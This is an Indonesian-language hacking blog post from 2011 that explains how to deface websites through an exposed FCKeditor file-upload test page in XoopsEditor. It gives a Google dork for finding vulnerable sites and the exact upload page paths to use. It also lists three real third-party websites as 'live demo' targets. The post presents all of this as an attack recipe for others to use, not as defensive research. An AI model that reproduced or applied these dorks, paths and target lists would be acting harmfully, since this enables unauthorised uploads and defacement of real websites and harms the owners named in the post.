Pages

What do you think about this blog?

Followers PHC

Sunday, November 13, 2011

XoopsEditor Deface

Credits-Fikri(kwn saya)

XoopsEditor Upload File [FCKeditor] Deface
Assalamualaiku :D yuhuu hehe
Masih bertem dengan saya lagi, badboy.
Saya tidak pernah henti-hentinya untuk membagi ilmu :D
Okay sesuai judul di atas aja ya ?
Mari kita bahas bersama ^_^

Google Dork :
- inurl:"/xoopseditor/FCKeditor/"
*think it


Exploit :
- http://[localhost]/patch/class/xoopseditor/FCKeditor/editor/filemanager/upload/test.html
or
- http://[localhost]/patch/class/xoopseditor/fckeditor/fckeditor/editor/filemanager/connectors/uploadtest.html
or
- Open Dir Step by Step

Preview:
- You can see if succses upload file :D

File Allowed:
html,jpg,bmp,txt, dll

Live Demo:
- http://christophersattheknights.com/index/class/xoopseditor/FCKeditor/editor/filemanager/upload/test.html
- http://www.gdps.net/xp218/class/xoopseditor/FCKeditor/editor/filemanager/upload/test.html
- http://environmentpreferred.com/index/class/xoopseditor/fckeditor/fckeditor/editor/filemanager/connectors/uploadtest.html

Okay.. semuanya sudah saya kasih ?
Kurang apa lagi coba saya ?? :D hehe
Semoga bermanfaat ya ilmu saya.
Wassalamualaikum

No comments:

Post a Comment